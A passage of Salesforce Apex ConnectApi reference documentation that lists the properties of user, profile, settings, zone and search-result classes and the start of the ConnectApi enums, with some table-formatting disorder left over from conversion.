## ConnectApi.TopicSuggestionPage Class

<table>
<thead>
<tr>
<th>Name</th>
<th>Type</th>
<th>Description</th>
<th>Available Version</th>
</tr>
</thead>
<tbody>
<tr>
<td>TopicSuggestions</td>
<td>List&lt;ConnectApi.TopicSuggestion&gt;</td>
<td>List of topic suggestions</td>
<td>29.0</td>
</tr>
</tbody>
</table>
ConnectApi.TrackedChangeAttachment Class

Important: This class isn’t available in version 32.0 and later. In version 32.0 and later, ConnectApi.TrackedChangesCapability is used.

<table>
<thead>
<tr>
<th>Name</th>
<th>Type</th>
<th>Description</th>
<th>Available Version</th>
</tr>
</thead>
<tbody>
<tr>
<td>changes</td>
<td>List&lt;ConnectApi.TrackedChangeItem&gt;</td>
<td>A list of tracked changes.</td>
<td>28.0–31.0</td>
</tr>
</tbody>
</table>

ConnectApi.TrackedChangeBundleCapability

If a feed element has this capability, it has a group of other feed elements aggregated into one feed element called a bundle. This type of bundle aggregates feed tracked changes.

Subclass of ConnectApi.BundleCapability Class.

<table>
<thead>
<tr>
<th>Property Name</th>
<th>Type</th>
<th>Description</th>
<th>Available Version</th>
</tr>
</thead>
<tbody>
<tr>
<td>changes</td>
<td>List&lt;ConnectApi.TrackedChangeItem&gt;</td>
<td>Collection of feed tracked changes.</td>
<td>31.0</td>
</tr>
</tbody>
</table>

ConnectApi.TrackedChangeItem Class

<table>
<thead>
<tr>
<th>Name</th>
<th>Type</th>
<th>Description</th>
<th>Available Version</th>
</tr>
</thead>
<tbody>
<tr>
<td>fieldName</td>
<td>String</td>
<td>The name of the field that was updated.</td>
<td>28.0</td>
</tr>
<tr>
<td>newValue</td>
<td>String</td>
<td>The new value of the field or null if the field length is long.</td>
<td>28.0</td>
</tr>
<tr>
<td>oldValue</td>
<td>String</td>
<td>The old value of the field or null if the field length is long.</td>
<td>28.0</td>
</tr>
</tbody>
</table>

ConnectApi.TrackedChangesCapability

If a feed element has this capability, it contains all changes to a record for a single tracked change event.

Subclass of ConnectApi.FeedElementCapability Class.

<table>
<thead>
<tr>
<th>Property Name</th>
<th>Type</th>
<th>Description</th>
<th>Available Version</th>
</tr>
</thead>
<tbody>
<tr>
<td>changes</td>
<td>List&lt;ConnectApi.TrackedChangeItem&gt;</td>
<td>Collection of feed tracked changes.</td>
<td>32.0</td>
</tr>
</tbody>
</table>

ConnectApi.UnauthenticatedUser Class

Subclass of ConnectApi.Actor Class

No additional properties.
Instances of this class are used as the actor for feed items and comments posted by Chatter customers.

### ConnectApi.UnreadConversationCount Class

<table>
<thead>
<tr>
<th>Name</th>
<th>Type</th>
<th>Description</th>
<th>Available Version</th>
</tr>
</thead>
<tbody>
<tr>
<td>hasMore</td>
<td>Boolean</td>
<td>Specifies if there are more than 50 unread messages (true) or not (false)</td>
<td>29.0</td>
</tr>
<tr>
<td>unreadCount</td>
<td>Integer</td>
<td>The total number of unread messages</td>
<td>29.0</td>
</tr>
</tbody>
</table>

### ConnectApi.User Class

This class is abstract.

Subclass of `ConnectApi.ActorWithId` Class

Superclass of:
- `ConnectApi.UserDetail` Class
- `ConnectApi.UserSummary` Class

<table>
<thead>
<tr>
<th>Name</th>
<th>Type</th>
<th>Description</th>
<th>Available Version</th>
</tr>
</thead>
<tbody>
<tr>
<td>additionalLabel</td>
<td>String</td>
<td>An additional label for the user, for example, “Customer,” “Partner,” or “Acme Corporation.” If the user doesn’t have an additional label, the value is null.</td>
<td>30.0</td>
</tr>
<tr>
<td>communityNickname</td>
<td>String</td>
<td>User’s nickname in the community</td>
<td>32.0</td>
</tr>
<tr>
<td>companyName</td>
<td>String</td>
<td>Name of the company</td>
<td>28.0</td>
</tr>
<tr>
<td></td>
<td></td>
<td>If your community allows access without logging in, the value is null for guest users.</td>
<td></td>
</tr>
<tr>
<td>displayName</td>
<td>String</td>
<td>User’s name that is displayed in the community. If nicknames are enabled, the nickname is displayed. If nicknames aren’t enabled, the full name is displayed.</td>
<td>32.0</td>
</tr>
<tr>
<td>firstName</td>
<td>String</td>
<td>User’s first name</td>
<td>28.0</td>
</tr>
<tr>
<td>isChatterGuest</td>
<td>Boolean</td>
<td>true if user is a Chatter customer; false otherwise</td>
<td>28.0</td>
</tr>
<tr>
<td>isInThisCommunity</td>
<td>Boolean</td>
<td>true if user is in the same community as the context user; false otherwise</td>
<td>28.0</td>
</tr>
<tr>
<td>lastName</td>
<td>String</td>
<td>User’s last name</td>
<td>28.0</td>
</tr>
<tr>
<td>photo</td>
<td>ConnectApi.Photo</td>
<td>Information about the user’s photos</td>
<td>28.0</td>
</tr>
<tr>
<td>reputation</td>
<td>ConnectApi.Reputation Class</td>
<td>Reputation of the user</td>
<td>32.0</td>
</tr>
</tbody>
</table>
### Available Version

<table>
<thead>
<tr>
<th>Name</th>
<th>Type</th>
<th>Description</th>
<th>Available Version</th>
</tr>
</thead>
<tbody>
<tr>
<td>title</td>
<td>String</td>
<td>User’s title</td>
<td>28.0</td>
</tr>
<tr>
<td></td>
<td></td>
<td>If your community allows access without logging in, the value is null for guest users.</td>
<td></td>
</tr>
<tr>
<td>userType</td>
<td>ConnectApi.UserType</td>
<td>Specifies the type of user.</td>
<td>28.0</td>
</tr>
<tr>
<td></td>
<td>Enum</td>
<td></td>
<td></td>
</tr>
<tr>
<td></td>
<td></td>
<td>• ChatterGuest—User is an external user in a private group.</td>
<td></td>
</tr>
<tr>
<td></td>
<td></td>
<td>• ChatterOnly—User is a Chatter Free customer.</td>
<td></td>
</tr>
<tr>
<td></td>
<td></td>
<td>• Guest—User is unauthenticated.</td>
<td></td>
</tr>
<tr>
<td></td>
<td></td>
<td>• Internal—User is a standard organization member.</td>
<td></td>
</tr>
<tr>
<td></td>
<td></td>
<td>• Portal—User is an external user in a customer portal, partner portal, or community.</td>
<td></td>
</tr>
<tr>
<td></td>
<td></td>
<td>• System—User is Chatter Expert or a system user.</td>
<td></td>
</tr>
<tr>
<td></td>
<td></td>
<td>• Undefined—User is a user type that is a custom object.</td>
<td></td>
</tr>
</tbody>
</table>

### ConnectApi.UserCapabilities Class

The capabilities associated with a user profile.

<table>
<thead>
<tr>
<th>Name</th>
<th>Type</th>
<th>Description</th>
<th>Available Version</th>
</tr>
</thead>
<tbody>
<tr>
<td>canChat</td>
<td>Boolean</td>
<td>Specifies if the context user can use Chatter Messenger with the subject user (true) or not (false)</td>
<td>29.0</td>
</tr>
<tr>
<td>canDirectMessage</td>
<td>Boolean</td>
<td>Specifies if the context user can direct message the subject user (true) or not (false)</td>
<td>29.0</td>
</tr>
<tr>
<td>canEdit</td>
<td>Boolean</td>
<td>Specifies if the context user can edit the subject user’s account (true) or not (false)</td>
<td>29.0</td>
</tr>
<tr>
<td>canFollow</td>
<td>Boolean</td>
<td>Specifies if the context user can follow the subject user’s feed (true) or not (false)</td>
<td>29.0</td>
</tr>
<tr>
<td>canViewFeed</td>
<td>Boolean</td>
<td>Specifies if the context user can view the feed of the subject user (true) or not (false)</td>
<td>29.0</td>
</tr>
<tr>
<td>canViewFullProfile</td>
<td>Boolean</td>
<td>Specifies if the context user can view the full profile of the subject user (true) or only the limited profile (false)</td>
<td>29.0</td>
</tr>
<tr>
<td>isModerator</td>
<td>Boolean</td>
<td>Specifies if the subject user is a Chatter moderator or admin (true) or not (false)</td>
<td>29.0</td>
</tr>
</tbody>
</table>
### ConnectApi.UserChatterSettings Class

A user's global Chatter settings.

<table>
<thead>
<tr>
<th>Name</th>
<th>Type</th>
<th>Description</th>
<th>Available Version</th>
</tr>
</thead>
<tbody>
<tr>
<td>defaultGroup</td>
<td>ConnectApi.GroupEmail</td>
<td>The default frequency with which a user receives email from a group when they join it.</td>
<td>28.0</td>
</tr>
<tr>
<td>EmailFrequency</td>
<td>Frequency Enum</td>
<td></td>
<td></td>
</tr>
</tbody>
</table>

### ConnectApi.UserDetail Class

Subclass of ConnectApi.User Class

Details about a user in an organization.

If the context user doesn't have permission to see a property, its value is set to null.

<table>
<thead>
<tr>
<th>Name</th>
<th>Type</th>
<th>Description</th>
<th>Available Version</th>
</tr>
</thead>
<tbody>
<tr>
<td>aboutMe</td>
<td>String</td>
<td>Text from user's profile</td>
<td>28.0</td>
</tr>
<tr>
<td>address</td>
<td>ConnectApi.Address</td>
<td>User’s address</td>
<td>28.0</td>
</tr>
<tr>
<td>chatterActivity</td>
<td>ConnectApi.ChatterActivity</td>
<td>Chatter activity statistics</td>
<td>28.0</td>
</tr>
<tr>
<td>chatterInfluence</td>
<td>ConnectApi.GlobalInfluence</td>
<td>User's influence rank</td>
<td>28.0</td>
</tr>
<tr>
<td>email</td>
<td>String</td>
<td>User's email address</td>
<td>28.0</td>
</tr>
<tr>
<td>followersCount</td>
<td>Integer</td>
<td>Number of users following this user</td>
<td>28.0</td>
</tr>
<tr>
<td>followingCounts</td>
<td>ConnectApi.FollowingCounts</td>
<td>Information about items the user is following</td>
<td>28.0</td>
</tr>
<tr>
<td>groupCount</td>
<td>Integer</td>
<td>Number of groups user is following</td>
<td>28.0</td>
</tr>
<tr>
<td>hasChatter</td>
<td>Boolean</td>
<td>true if user has access to Chatter; false otherwise</td>
<td>31.0</td>
</tr>
<tr>
<td>isActive</td>
<td>Boolean</td>
<td>true if user is active; false otherwise</td>
<td>28.0</td>
</tr>
<tr>
<td>managerId</td>
<td>String</td>
<td>18-character ID of the user's manager</td>
<td>28.0</td>
</tr>
<tr>
<td>managerName</td>
<td>String</td>
<td>Locale-based concatenation of manager's first and last names</td>
<td>28.0</td>
</tr>
<tr>
<td>phoneNumbers</td>
<td>List&lt;ConnectApi.PhoneNumber&gt;</td>
<td>Collection of user's phone numbers</td>
<td>28.0</td>
</tr>
<tr>
<td>thanksReceived</td>
<td>Integer</td>
<td>The number of times the user has been thanked.</td>
<td>29.0</td>
</tr>
<tr>
<td>username</td>
<td>String</td>
<td>Username of the user, such as <a href="mailto:Admin@mycompany.com">Admin@mycompany.com</a></td>
<td>28.0</td>
</tr>
</tbody>
</table>
### ConnectApi.UserGroupPage Class

A paginated list of groups the context user is a member of.

<table>
<thead>
<tr>
<th>Name</th>
<th>Type</th>
<th>Description</th>
<th>Available Version</th>
</tr>
</thead>
<tbody>
<tr>
<td>currentPageUrl</td>
<td>String</td>
<td>Chatter REST API URL identifying the current page.</td>
<td>28.0</td>
</tr>
<tr>
<td>groups</td>
<td>List&lt;ConnectApi.ChatterGroupSummary&gt;</td>
<td>List of groups</td>
<td>28.0</td>
</tr>
<tr>
<td>nextPageUrl</td>
<td>String</td>
<td>Chatter REST API URL identifying the next page or <strong>null</strong> if there isn’t a next page. Check whether this value is <strong>null</strong> before getting another page. If a page doesn’t exist, a ConnectApi.NotFoundException error is returned.</td>
<td>28.0</td>
</tr>
<tr>
<td>previousPageUrl</td>
<td>String</td>
<td>Chatter REST API URL identifying the previous page or <strong>null</strong> if there isn’t a previous page.</td>
<td>28.0</td>
</tr>
<tr>
<td>total</td>
<td>Integer</td>
<td>Total number of groups across all pages</td>
<td>28.0</td>
</tr>
</tbody>
</table>

### ConnectApi.UserPage Class

<table>
<thead>
<tr>
<th>Name</th>
<th>Type</th>
<th>Description</th>
<th>Available Version</th>
</tr>
</thead>
<tbody>
<tr>
<td>currentPageToken</td>
<td>Integer</td>
<td>Token identifying the current page.</td>
<td>28.0</td>
</tr>
<tr>
<td>currentPageUrl</td>
<td>String</td>
<td>Chatter REST API URL identifying the current page.</td>
<td>28.0</td>
</tr>
<tr>
<td>nextPageToken</td>
<td>Integer</td>
<td>Token identifying the next page or <strong>null</strong> if there isn’t a next page.</td>
<td>28.0</td>
</tr>
<tr>
<td>nextPageUrl</td>
<td>String</td>
<td>Chatter REST API URL identifying the next page or <strong>null</strong> if there isn’t a next page. Check whether this value is <strong>null</strong> before getting another page. If a page doesn’t exist, a ConnectApi.NotFoundException error is returned.</td>
<td>28.0</td>
</tr>
<tr>
<td>previousPageToken</td>
<td>Integer</td>
<td>Token identifying the previous page or <strong>null</strong> if there isn’t a previous page.</td>
<td>28.0</td>
</tr>
<tr>
<td>previousPageUrl</td>
<td>String</td>
<td>Chatter REST API URL identifying the previous page or <strong>null</strong> if there isn’t a previous page.</td>
<td>28.0</td>
</tr>
<tr>
<td>users</td>
<td>List&lt;ConnectApi.UserDetail&gt;</td>
<td>List of user detail information. If the context user doesn’t have permission to see a property, the property is set to <strong>null</strong>.</td>
<td>28.0</td>
</tr>
</tbody>
</table>

### ConnectApi.UserProfile Class

Details necessary to render a view of a user profile.
### ConnectApi.UserCapabilities

The context user's capabilities specific to the subject user's profile.

<table>
<thead>
<tr>
<th>Name</th>
<th>Type</th>
<th>Description</th>
<th>Available Version</th>
</tr>
</thead>
<tbody>
<tr>
<td>capabilities</td>
<td>ConnectApi.UserCapabilities</td>
<td>The context user’s capabilities specific to the subject user’s profile</td>
<td>29.0</td>
</tr>
<tr>
<td>id</td>
<td>String</td>
<td>The ID of the user attached to the profile</td>
<td>29.0</td>
</tr>
<tr>
<td>tabs</td>
<td>List&lt;ConnectApi.UserProfileTab&gt;</td>
<td>The tabs visible to the context user specific to the subject user’s profile</td>
<td>29.0</td>
</tr>
<tr>
<td>url</td>
<td>String</td>
<td>The URL of the user’s profile</td>
<td>29.0</td>
</tr>
<tr>
<td>userDetail</td>
<td>ConnectApi.UserDetail</td>
<td>The details about the user attached to the profile</td>
<td>29.0</td>
</tr>
</tbody>
</table>

### ConnectApi.UserProfileTab Class

Information about a profile tab.

<table>
<thead>
<tr>
<th>Name</th>
<th>Type</th>
<th>Description</th>
<th>Available Version</th>
</tr>
</thead>
<tbody>
<tr>
<td>id</td>
<td>String</td>
<td>The tab's unique identifier or 18–character ID</td>
<td>29.0</td>
</tr>
<tr>
<td>isDefault</td>
<td>Boolean</td>
<td>Specifies if the tab appears first when clicking the user profile (true) or not (false)</td>
<td>29.0</td>
</tr>
<tr>
<td>tabType</td>
<td>ConnectApi.UserProfileTabType</td>
<td>Specifies the type of tab</td>
<td>29.0</td>
</tr>
<tr>
<td></td>
<td>TabType Enum</td>
<td>- CustomVisualForce—Tab that displays data from a Visualforce page.</td>
<td></td>
</tr>
<tr>
<td></td>
<td></td>
<td>- CustomWeb—Tab that displays data from any external Web-based application or Web page.</td>
<td></td>
</tr>
<tr>
<td></td>
<td></td>
<td>- Element—Tab that displays generic content inline.</td>
<td></td>
</tr>
<tr>
<td></td>
<td></td>
<td>- Feed—Tab that displays the Chatter feed.</td>
<td></td>
</tr>
<tr>
<td></td>
<td></td>
<td>- Overview—Tab that displays user details.</td>
<td></td>
</tr>
<tr>
<td>tabUrl</td>
<td>String</td>
<td>The current tab's content URL (for non built-in tab types)</td>
<td>29.0</td>
</tr>
</tbody>
</table>

### ConnectApi.UserReferencePage

A list of user references.

<table>
<thead>
<tr>
<th>Property Name</th>
<th>Type</th>
<th>Description</th>
<th>Available Version</th>
</tr>
</thead>
<tbody>
<tr>
<td>currentPageUrl</td>
<td>String</td>
<td>URL to the current page.</td>
<td>35.0</td>
</tr>
<tr>
<td>nextPageUrl</td>
<td>String</td>
<td>URL to the next page.</td>
<td>35.0</td>
</tr>
<tr>
<td>Property Name</td>
<td>Type</td>
<td>Description</td>
<td>Available Version</td>
</tr>
<tr>
<td>----------------------------</td>
<td>---------------</td>
<td>--------------------------------------------------</td>
<td>-------------------</td>
</tr>
<tr>
<td>previousPageUrl</td>
<td>String</td>
<td>URL to the previous page.</td>
<td>35.0</td>
</tr>
<tr>
<td>userCount</td>
<td>Integer</td>
<td>Number of users in the collection.</td>
<td>35.0</td>
</tr>
<tr>
<td>users</td>
<td>List&lt;ConnectApi. Reference&gt;</td>
<td>A collection of user references.</td>
<td>35.0</td>
</tr>
</tbody>
</table>

### ConnectApi.UserSettings Class

<table>
<thead>
<tr>
<th>Property</th>
<th>Type</th>
<th>Description</th>
<th>Available Version</th>
</tr>
</thead>
<tbody>
<tr>
<td>approvalPosts</td>
<td>Boolean</td>
<td>User can approve workflows from Chatter posts.</td>
<td>28.0</td>
</tr>
<tr>
<td>canFollow</td>
<td>Boolean</td>
<td>User can follow users and records</td>
<td>28.0</td>
</tr>
<tr>
<td>canModifyAllData</td>
<td>Boolean</td>
<td>User has “Modify all Data” permission</td>
<td>28.0</td>
</tr>
<tr>
<td>canOwnGroups</td>
<td>Boolean</td>
<td>User can own groups</td>
<td>28.0</td>
</tr>
<tr>
<td>canViewAllData</td>
<td>Boolean</td>
<td>User has “View all Data” permission</td>
<td>28.0</td>
</tr>
<tr>
<td>canViewAllGroups</td>
<td>Boolean</td>
<td>User has “View all Groups” permission</td>
<td>28.0</td>
</tr>
<tr>
<td>canViewAllUsers</td>
<td>Boolean</td>
<td>User has “View all Users” permission</td>
<td>28.0</td>
</tr>
<tr>
<td>canViewCommunitySwitcher</td>
<td>Boolean</td>
<td>User can see the community switcher menu.</td>
<td>34.0</td>
</tr>
<tr>
<td>canViewFullUserProfile</td>
<td>Boolean</td>
<td>User can see other user’s Chatter profiles</td>
<td>28.0</td>
</tr>
<tr>
<td>canViewPublicFiles</td>
<td>Boolean</td>
<td>User can see all files marked as public</td>
<td>28.0</td>
</tr>
<tr>
<td>currencySymbol</td>
<td>String</td>
<td>Currency symbol to use for displaying currency values. Applicable only when the ConnectApi.Features.multiCurrency property is false.</td>
<td>28.0</td>
</tr>
<tr>
<td>externalUser</td>
<td>Boolean</td>
<td>User is a Chatter customer</td>
<td>28.0</td>
</tr>
<tr>
<td>fileSyncLimit</td>
<td>Integer</td>
<td>Maximum number of files user can sync</td>
<td>32.0</td>
</tr>
<tr>
<td>fileSyncStorageLimit</td>
<td>Integer</td>
<td>Maximum storage for synced files, in megabytes (MB)</td>
<td>29.0</td>
</tr>
<tr>
<td>folderSyncLimit</td>
<td>Integer</td>
<td>Maximum number of folders user can sync</td>
<td>32.0</td>
</tr>
<tr>
<td>hasAccessToInternalOrg</td>
<td>Boolean</td>
<td>User is a member of the internal organization</td>
<td>28.0</td>
</tr>
<tr>
<td>hasChatter</td>
<td>Boolean</td>
<td>User has access to Chatter</td>
<td>31.0</td>
</tr>
<tr>
<td>hasFileSync</td>
<td>Boolean</td>
<td>User has “Sync Files” permission.</td>
<td>28.0</td>
</tr>
</tbody>
</table>
### Available Version

<table>
<thead>
<tr>
<th>Property</th>
<th>Type</th>
<th>Description</th>
<th>Available Version</th>
</tr>
</thead>
<tbody>
<tr>
<td>hasFileSync</td>
<td>Boolean</td>
<td>Administrator for the user’s organization allows file sync clients to update automatically.</td>
<td>34.0</td>
</tr>
<tr>
<td>ManagedClient AutoUpdate</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>hasRestData</td>
<td>Boolean</td>
<td>User has access to REST API.</td>
<td>29.0</td>
</tr>
<tr>
<td>ApiAccess</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>timeZone</td>
<td>ConnectApi.TimeZone</td>
<td>The user’s time zone as selected in the user’s personal settings in Salesforce. This value does not reflect a device’s current location.</td>
<td>30.0</td>
</tr>
<tr>
<td>userDefault CurrencyIsoCode</td>
<td>String</td>
<td>The ISO code for the default currency. Applicable only when the ConnectApi.Features.multiCurrency property is true.</td>
<td>28.0</td>
</tr>
<tr>
<td>userId</td>
<td>String</td>
<td>18-character ID of the user</td>
<td>28.0</td>
</tr>
<tr>
<td>userLocale</td>
<td>String</td>
<td>Locale of user</td>
<td>28.0</td>
</tr>
</tbody>
</table>

### ConnectApi.UserSummary Class

Subclass of ConnectApi.User Class

<table>
<thead>
<tr>
<th>Name</th>
<th>Type</th>
<th>Description</th>
<th>Available Version</th>
</tr>
</thead>
<tbody>
<tr>
<td>isActive</td>
<td>Boolean</td>
<td>true if user is active; false otherwise</td>
<td>28.0</td>
</tr>
</tbody>
</table>

### ConnectApi.Zone Class

Information about a Chatter Answers zone.

<table>
<thead>
<tr>
<th>Name</th>
<th>Type</th>
<th>Description</th>
<th>Available Version</th>
</tr>
</thead>
<tbody>
<tr>
<td>description</td>
<td>String</td>
<td>The description of the zone</td>
<td>29.0</td>
</tr>
<tr>
<td>id</td>
<td>String</td>
<td>The zone ID</td>
<td>29.0</td>
</tr>
<tr>
<td>isActive</td>
<td>Boolean</td>
<td>Indicates whether or not the zone is active</td>
<td>29.0</td>
</tr>
<tr>
<td>isChatterAnswers</td>
<td>Boolean</td>
<td>Indicates whether or not the zone is available for Chatter Answers</td>
<td>29.0</td>
</tr>
<tr>
<td>name</td>
<td>String</td>
<td>Name of the zone</td>
<td>29.0</td>
</tr>
<tr>
<td>url</td>
<td>String</td>
<td>The URL of the zone</td>
<td>29.0</td>
</tr>
<tr>
<td>visibility</td>
<td>ConnectApi.ZoneShowIn</td>
<td>Zone visibility type</td>
<td>29.0</td>
</tr>
<tr>
<td></td>
<td></td>
<td>• Community—Available in a community.</td>
<td></td>
</tr>
<tr>
<td></td>
<td></td>
<td>• Internal—Available internally only.</td>
<td></td>
</tr>
<tr>
<td></td>
<td></td>
<td>• Portal—Available in a portal.</td>
<td></td>
</tr>
</tbody>
</table>
### ConnectApi.ZonePage Class

Information about zone pages.

<table>
<thead>
<tr>
<th>Name</th>
<th>Type</th>
<th>Description</th>
<th>Available Version</th>
</tr>
</thead>
<tbody>
<tr>
<td>visibilityId</td>
<td>String</td>
<td>If the zone is available in a portal or a community, this property contains the ID of the portal or community. If the zone is available to all portals, this property contains the value All.</td>
<td>29.0</td>
</tr>
<tr>
<td>zones</td>
<td>List&lt;ConnectApi.Zone&gt;</td>
<td>A list of one or more zones</td>
<td>29.0</td>
</tr>
<tr>
<td>currentPageUrl</td>
<td>String</td>
<td>Chatter REST API URL identifying the current page.</td>
<td>29.0</td>
</tr>
<tr>
<td>nextPageUrl</td>
<td>String</td>
<td>Chatter REST API URL identifying the next page or null if there isn't a next page. Check whether this value is null before getting another page. If a page doesn't exist, a ConnectApi.NotFoundException error is returned.</td>
<td>29.0</td>
</tr>
</tbody>
</table>

### ConnectApi.ZoneSearchPage Class

Information about the search results for zones.

<table>
<thead>
<tr>
<th>Name</th>
<th>Type</th>
<th>Description</th>
<th>Available Version</th>
</tr>
</thead>
<tbody>
<tr>
<td>currentPageToken</td>
<td>String</td>
<td>Token identifying the current page.</td>
<td>29.0</td>
</tr>
<tr>
<td>currentPageUrl</td>
<td>String</td>
<td>Chatter REST API URL identifying the current page.</td>
<td>29.0</td>
</tr>
<tr>
<td>items</td>
<td>List&lt;ConnectApi.ZoneSearchResult&gt;</td>
<td>List of search results</td>
<td>29.0</td>
</tr>
<tr>
<td>nextPageToken</td>
<td>String</td>
<td>Token identifying the next page or null if there isn't a next page.</td>
<td>29.0</td>
</tr>
<tr>
<td>nextPageUrl</td>
<td>String</td>
<td>Chatter REST API URL identifying the next page or null if there isn't a next page. Check whether this value is null before getting another page. If a page doesn't exist, a ConnectApi.NotFoundException error is returned.</td>
<td>29.0</td>
</tr>
</tbody>
</table>
ConnectApi.ZoneSearchResult Class

Information about a specific zone search result.

<table>
<thead>
<tr>
<th>Name</th>
<th>Type</th>
<th>Description</th>
<th>Available Version</th>
</tr>
</thead>
<tbody>
<tr>
<td>hasBestAnswer</td>
<td>Boolean</td>
<td>Indicates if the search result has a best answer</td>
<td>29.0</td>
</tr>
<tr>
<td>id</td>
<td>String</td>
<td>ID of the search result. The search result can be a</td>
<td>29.0</td>
</tr>
<tr>
<td></td>
<td></td>
<td>question or an article.</td>
<td></td>
</tr>
<tr>
<td>title</td>
<td>String</td>
<td>Title of the search result</td>
<td>29.0</td>
</tr>
<tr>
<td>type</td>
<td>ConnectApi.ZoneSearchResultType Enum</td>
<td>Specifies the zone search result type</td>
<td>29.0</td>
</tr>
<tr>
<td></td>
<td></td>
<td>• Article—Search results contain only articles.</td>
<td></td>
</tr>
<tr>
<td></td>
<td></td>
<td>• Question—Search results contain only questions.</td>
<td></td>
</tr>
<tr>
<td>voteCount</td>
<td>String</td>
<td>Number of votes given to the search result</td>
<td>29.0</td>
</tr>
</tbody>
</table>

ConnectApi Enums

Enums specific to the ConnectApi namespace.
ConnectApi enums inherit all properties and methods of Apex enums.

<table>
<thead>
<tr>
<th>Enum</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>ConnectApi.ActionLink</td>
<td>Specifies the number of times an action link can be executed.</td>
</tr>
<tr>
<td>ExecutionsAllowed</td>
<td>• Once—An action link can be executed only once across all users.</td>
</tr>
<tr>
<td></td>
<td>• OncePerUser—An action link can be executed only once for each user.</td>
</tr>
<tr>
<td></td>
<td>• Unlimited—An action link can be executed an unlimited number of times by each user. If the action link’s actionType is Api or ApiAsync, you can’t use this value.</td>
</tr>
</tbody>
</table>

<table>
<thead>
<tr>
<th>Enum</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>ConnectApi.ActionLinkType</td>
<td>Specifies the type of action link.</td>
</tr>
<tr>
<td></td>
<td>• Api—The action link calls a synchronous API at the action URL. Salesforce sets the status to SuccessfulStatus or FailedStatus based on the HTTP status code returned by your server.</td>
</tr>
<tr>
<td></td>
<td>• ApiAsync—The action link calls an asynchronous API at the action URL. The action remains in a PendingStatus state until a third party makes a request to /connect/action-links/actionLinkId to set the status to SuccessfulStatus or FailedStatus when the asynchronous operation is complete.</td>
</tr>
<tr>
<td></td>
<td>• Download—The action link downloads a file from the action URL.</td>
</tr>
<tr>
<td></td>
<td>• Ui—The action link takes the user to a Web page at the action URL.</td>
</tr>
<tr>
<td><strong>Enum</strong></td>
<td><strong>Description</strong></td>
</tr>
<tr>
<td>---</td>
<td>---</td>
</tr>
</tbody>
</table>
| ConnectApi.BannerStyle | Decorates a feed item with a color and set of icons.  
- **Announcement**—An announcement displays in a designated location in the Salesforce UI until 11:59 p.m. on its expiration date, unless it’s deleted or replaced by another announcement. |
| ConnectApi.BundleType | Specifies the type of bundle.  
- **GenericBundle**—A bundle that contains no additional information and is just a collection of feed elements.  
- **TrackedChanges**—A bundle that represents a collection of feed tracked changes. The bundle includes summary information about the feed tracked changes that make up the bundle. |
| ConnectApi.CaseActorType | Specifies the type of user who made the comment.  
- **Customer**—if a Chatter customer made the comment  
- **CustomerService**—if a service representative made the comment |
| ConnectApi.CaseCommentEventType | Specifies the event type of a comment in Case Feed:  
- **NewInternal**—A case comment that has newly been marked Internal Only.  
- **NewPublished**—A newly published case comment.  
- **NewPublishedByCustomer**—A case comment by a customer that was newly published.  
- **PublishExisting**—An existing case comment that was republished.  
- **PublishExistingByCustomer**—An existing case comment by a customer that was republished.  
- **UnpublishExistingByCustomer**—An existing case comment by a customer that was unpublished.  
- **UnpublishExisting**—An existing case comment that was unpublished.  
> **Note:** Unfortunately, this typo is in the code, not the documentation. Use this spelling in your code. |
| ConnectApi.CommentType | Specifies the type of comment.  
- **ContentComment**—Comment holds a content capability.  
- **TextComment**—Comment contains only text. |
| ConnectApi.CommunityFlagVisibility | Specifies the visibility behavior of a flag for various user types.  
- **ModeratorsOnly**—The flag is visible only to users with moderation permissions on the flagged element or item.  
- **SelfAndModerators**—The flag is visible to the creator of the flag and to users with moderation permissions on the flagged element or item. |
| ConnectApi.CommunityStatus | Specifies the status of the community.  
- **Live** |
### ConnectApi Enums Reference

<table>
<thead>
<tr>
<th>Enum</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>ConnectApi.DatacloudUserType</td>
<td>Specifies the type of user.</td>
</tr>
<tr>
<td>• Inactive</td>
<td></td>
</tr>
<tr>
<td>• UnderConstruction</td>
<td></td>
</tr>
<tr>
<td>ConnectApi.DatacloudUserType</td>
<td>Specifies the type of user.</td>
</tr>
<tr>
<td>• Monthly—A user type that’s assigned monthly point limits for purchasing Data.com records. Only the assigned user can use monthly points. Points expire at the end of the month. Monthly is the default setting for DatacloudUserType.</td>
<td></td>
</tr>
<tr>
<td>• Listpool—A user type that allows users to draw from a pool of points to purchase Data.com records.</td>
<td></td>
</tr>
<tr>
<td>ConnectApi.EmailMessageDirection</td>
<td>Specifies the direction of an email message on a case.</td>
</tr>
<tr>
<td>• Inbound—An inbound message (sent by a customer).</td>
<td></td>
</tr>
<tr>
<td>• Outbound—An outbound message (sent to a customer by a support agent).</td>
<td></td>
</tr>
<tr>
<td>ConnectApi.FeedDensity</td>
<td>Specifies the density of the feed.</td>
</tr>
<tr>
<td>• AllUpdates—Displays all updates from people and records the user follows and groups the user is a member of.</td>
<td></td>
</tr>
<tr>
<td>• FewerUpdates—Displays all updates from people and records the user follows and groups the user is a member of, but hides some system-generated updates from records.</td>
<td></td>
</tr>
<tr>
<td>ConnectApi.FeedElementCapabilityType</td>
<td>Specifies the capabilities of a feed element in API versions 31.0 and later. If a capability exists on a feed element, the capability is available, even if the value doesn’t exist or is null. If the capability doesn’t exist, it isn’t available.</td>
</tr>
<tr>
<td>• AssociatedActions—The feed element includes information about actions associated with it.</td>
<td></td>
</tr>
<tr>
<td>• Approval—The feed element includes information about an approval.</td>
<td></td>
</tr>
<tr>
<td>• Banner—The body of the feed element has an icon and border.</td>
<td></td>
</tr>
<tr>
<td>• Bookmarks—The context user can bookmark the feed element. Bookmarked feed elements are visible in the bookmarks feed.</td>
<td></td>
</tr>
<tr>
<td>• Bundle—The feed element has a group of other feed elements that display as a bundle in the feed. The bundle type determines the additional data associated with the bundle.</td>
<td></td>
</tr>
<tr>
<td>• Canvas—The feed element renders a canvas app.</td>
<td></td>
</tr>
<tr>
<td>• CaseComment—The feed element has a case comment in the case feed.</td>
<td></td>
</tr>
<tr>
<td>• ChatterLikes—The context user can like the feed element.</td>
<td></td>
</tr>
<tr>
<td>• Comments—The context user can add comments to the feed element.</td>
<td></td>
</tr>
<tr>
<td>• Content—The feed element has a file.</td>
<td></td>
</tr>
<tr>
<td>• DashboardComponentSnapshot—The feed element has a dashboard component snapshot.</td>
<td></td>
</tr>
<tr>
